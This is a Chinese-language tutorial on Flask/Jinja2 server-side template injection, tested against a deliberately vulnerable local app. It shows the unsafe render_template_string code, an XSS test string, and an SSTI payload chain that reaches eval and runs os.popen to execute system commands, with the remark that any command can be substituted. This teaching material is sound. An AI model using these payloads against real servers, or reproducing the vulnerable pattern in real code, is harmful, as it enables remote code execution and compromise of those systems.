【Flask模板注入】
【Flask模板注入】——概览
背景
Flask是python语言下的轻量级web应用框架,可以用来开发一些简单的网站。它使用Jinjia2渲染引擎(将html文件存放在templates文件夹中,当访问指定路由时,flask会渲染出相应的html页面)。
但是html文件中不一定都是html语言,Jinjia2引擎支持html文件中内嵌{{}}来使用特定的变量,或者使用{%%}来执行python语句。因此,就会导致模板注入SSTI(Server-Side Template Injection)。用户可以使用一些内置函数进行文件的读写或者远程命令执行。
实例
下面实现一个简单的flask搭建的web网页:
#coding=utf-8
from flask import render_template_string
from flask import render_template
from flask import Flask
from flask import request
app=Flask(__name__) #创建flask类
@app.route('/',methods=["GET","POST"])#路由
def index():
s=request.args.get('id')
return render_template('index.html',s=s)
if __name__ == '__main__':
app.run('127.0.0.1',port=8000)
/templates/index.html :
<h1>id:{{s}}</h1>
这时访问url并进行传参:
可以看到{{}}包裹的变量变成了输入的id值。
-
尝试进行攻击
http://127.0.0.1:8000/?id=%3Cscript%3Ealert(%27a%27)%3C/script%3E
失败,因为现在的 Jinjia2 模板引擎一般默认对渲染的变量进行编码转义,因此我们不能直接操控模板的输出。
如果要执行代码需要变成,让模板不进行转义:
<h1>id:{{s|safe }}</h1>
-
在render_template和render_template_string中,后者不会对输入的参数进行转义。但是在使用{{}}包裹变量时jinjia2模板引擎会自动对参数进行转义。使用格式化字符串%s时,就需要手动转义,因此会出现XSS漏洞。
下面是一个格式化字符串%s的例子:
#coding=utf-8 from flask import render_template_string from flask import render_template from flask import Flask from flask import request app=Flask(__name__) #创建flask类 @app.route('/',methods=["GET","POST"])#路由 def index(): s=request.args.get('id') return render_template_string('<h1>id:%s</h1>'%s) if __name__ == '__main__': app.run('127.0.0.1',port=8000)
这里的数据和代码就被混淆了,这时使用我们的payload就会被执行。
SSTI
首先要了解一下python中的一些魔术方法:
__class__ #是一个特殊属性而不是方法,其返回类型所属的对象,注意是类的一个对象
__mro__ #返回一个元组,元组中包含当前类以及所有父类的顺序,按照python解析的顺序排列,需要类来调用;
__base__ #返回对象所继承的基类,(python中每个类都有一个基类,即该类所继承的父类)
__subclasses__ #返回一个列表,包含了直接继承该类的子类;是一个方法
__init__ #初始化类时自动调用,可以包含要传进类中的参数
__globals__ #返回一个字典,包含了当前模块中定义的全局变量和函数
-
实例
同样使用上面的web网站:
http://127.0.0.1:8000/?id={{''.__class__}} #显示一个空字符串的类
返回:
尝试找到object类:
http://127.0.0.1:8000/?id={{''.__class__.__mro__}} #返回str类的基类 输出:id:(<class 'str'>, <class 'object'>)
找到object类下的子类:
http://127.0.0.1:8000/?id={{''.__class__.__mro__[1].__subclasses__()}} #返回str类的基类,subclasses是一个方法所以要加括号
输出:
寻找一下里面没有file类,所以不能实现文件读取,但是可以尝试命令执行。
这就需要寻找eval函数,需要使用__global__魔术方法来查看所有object子类的全局变量字典。
-
寻找eval函数
从大佬博客里看到了这段代码,用来查看object所有子类的构造函数:
for i in range(0,len(''.__class__.__mro__[1].__subclasses__())): print("%d"%i,end="") print(''.__class__.__mro__[1].__subclasses__()[i].__init__)
输出中包含wrapper的类说明被装饰器包装了,这样我们无法直接使用__global__属性查看其使用的全局命名空间。我们需要找到没有被装饰器包裹的类。
看看这些没有装饰器类的全局命名空间是什么样:
print(''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__)
可以看到是一堆字典,在其中第81个子类中的__builtions__模块中包含了eval函数。
据此来构造payload:
http://127.0.0.1:8000/?id={{''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("systeminfo").read()')}}
输出:
id: 主机名: DESKTOP-OPT5ESM OS 名称: Microsoft Windows 11 家庭中文版 OS 版本: 10.0.22000..........
成功输出了systeminfo。因此只要将管道函数popen()中换成我们想执行的命令即可。
总结
- 漏洞出现原因:模板文件中使用了格式化字符串,导致我们可以直接操控模板的输出。
- SSTI:通过一些魔术方法,根据类之间的继承关系,从已知类一直找到包含eval、os、file等可以利用函数的类。